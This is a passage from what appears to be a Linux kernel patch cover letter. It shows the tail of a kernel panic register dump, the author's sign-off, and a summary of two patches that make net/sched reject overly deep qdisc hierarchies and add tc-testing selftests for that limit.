[ 192.468414][ C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09:
000000000000ffff
[ 192.468418][ C0] R10: 0000000000000000 R11: 0000000000000001 R12:
ffff88803c2ca580
[ 192.468422][ C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15:
ffff88804c179280
[ 192.468426][ C0] FS: 00007f69fe54f000(0000) GS:ffff8880d62af000(0000)
knlGS:0000000000000000
[ 192.468437][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 192.468442][ C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4:
0000000000352ef0
[ 192.468455][ C0] Kernel panic - not syncing: Fatal exception in interrupt
[ 192.469576][ C0] Kernel Offset: disabled
-----END crash log-----
Best regards,
Zijie Huang
Zijie Huang (2):
net/sched: reject overly deep qdisc hierarchies
selftests/tc-testing: add qdisc hierarchy depth tests
include/net/sch_generic.h | 1 +
net/sched/sch_api.c | 9 +++
.../tc-testing/tc-tests/qdiscs/depth.json | 74 +++++++++++++++++++
3 files changed, 84 insertions(+)
create mode 100644
tools/testing/selftests/tc-testing/tc-tests/qdiscs/depth.json
--
2.47.2